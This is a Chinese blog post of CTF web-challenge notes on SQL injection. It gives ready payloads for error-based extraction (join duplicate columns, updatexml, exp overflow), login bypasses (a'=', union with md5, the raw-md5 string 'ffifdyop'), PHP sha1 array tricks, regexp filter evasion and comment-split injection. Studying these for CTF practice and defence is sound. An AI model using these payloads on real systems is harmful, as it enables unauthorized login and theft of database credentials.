08月21, 2018

CTF-web 笔记 1

利用 join 报错重复列

当表名已经爆出来了是 'flag',则如下 payload:

?id=1' or (select * from (select * from flag a join flag b)c) or '

括号内层join出来的临时表所有列都重复了两次。

而外层select * from目标的列是重复的,会报错:

duplicate column name=XXXX

列名因此就通过报错出来了。


假=假=真

后台 SQL 语句:

select * from user where username='输入的用户名' and password='输入的密码';

若都输入a'='则SQL 语句变为:

select * from user where username='a'='' and password='a'='';

左等号username='a'为假,右等号假=''为真。

真 and 真 为真,故绕过登录。


MD5 注入

后台逻辑是:

先将前端的Username值和经过 MD5 加密后的Password值传入后台。

通过 SQL 语句查询数据库中的username对应的password值:

select pw from php where user='$Username';

再在后台和Password的 MD5 值进行对比 若用户名输入:

Username' union select md5(1) #

并且密码输入:

1

则 SQL 语句的返回值刚好就是 1 的 MD5 值, 而提交的密码就是 1,故逻辑匹配,绕过登录。


巧用等式

前端以 GET 方式将两个变量传入后端。

要求两个变量不相等,并且两个变量经过函数sha1()处理后的值相等。

若传入的变量是两个数组则sha1()函数返回两个false

false=false成立,满足要求。


空=空

后台逻辑:

password = $_session['password'];

截包:删 cookie,password改为空。

空=空,绕过。


MD5 raw 注入

后台 PHP 语句:

$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";

访问端可控变量$password不在 SQL 语句中,不能直接注入。

但是如果md5($password,true)的结果中含有'or'并且后面紧跟的是 1-9 的数字 便可凑成如下 SQL 语句:

username = 'admin' and password = ''or'数字<任意不含 ' 的字符串>'

等价于:falseor'数字+<任意不含 ' 的字符串>'

只要不是数字 0,便等价于:false or true为真,便可登录成功。

可用字符串:

字符串 raw 16位原始二进制格式的字符串
ffifdyop 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c 'or'6???????????
129581926211651571912466741651878684928 \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8 ????????'or'8???

updatexml 报错注入

函数格式:

updatexml(参数1,参数2,参数3)

参数2必须是 XPATH 格式,否则会报错:

XPATH syntax error: '参数2'

如果参数2是一个查询语句,查询出来的结果就会被报错显示出来。


绕过对等号的过滤

已知数据库名,要查表名,而后台对=like进行了过滤。

可使用regexp正则匹配绕过过滤:

where table_schema regexp '数据库名'

exp 报错注入

当传递一个大于709的值时,函数exp()会引起一个溢出错误:

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

由于~0表示对 0 按位取反,而函数成功执行会返回 0 所以 :

select ~(select version())

等价于

select ~0

由于将 0 按位取反会返回18446744073709551615这个大整数,显然超过了exp()函数的传参上限。

当 SQL 语句为:

select exp(~(select*from(select user())x))

则报错:

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

数据通过报错显示出来了。

查表名:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

查列名:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

查数据:

select exp(~(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

HTTP 分割注入

后台 PHP 语句:

$sql="select * from users where username='$username' and password='$password'";

后台里,username被过滤了(),并且password被过滤了 updatexml

$username<注入内容1>/*,

$password*/<注入内容2>时,

SQL 语句变为:

select * from users where username='<注入内容1>/*' and password='*/<注入内容2>';

由于/**/闭合,则语句等价于:

select * from users where username='<注入内容1><注入内容2>';

<注入内容1>中填入updatexml,

<注入内容2>中填入()以及括号中的参数。

便可合并语句,绕过后端对两个注入点进行的区别过滤

本文链接:https://blog.cindemor.com/post/ctf-web-1.html

-- EOF --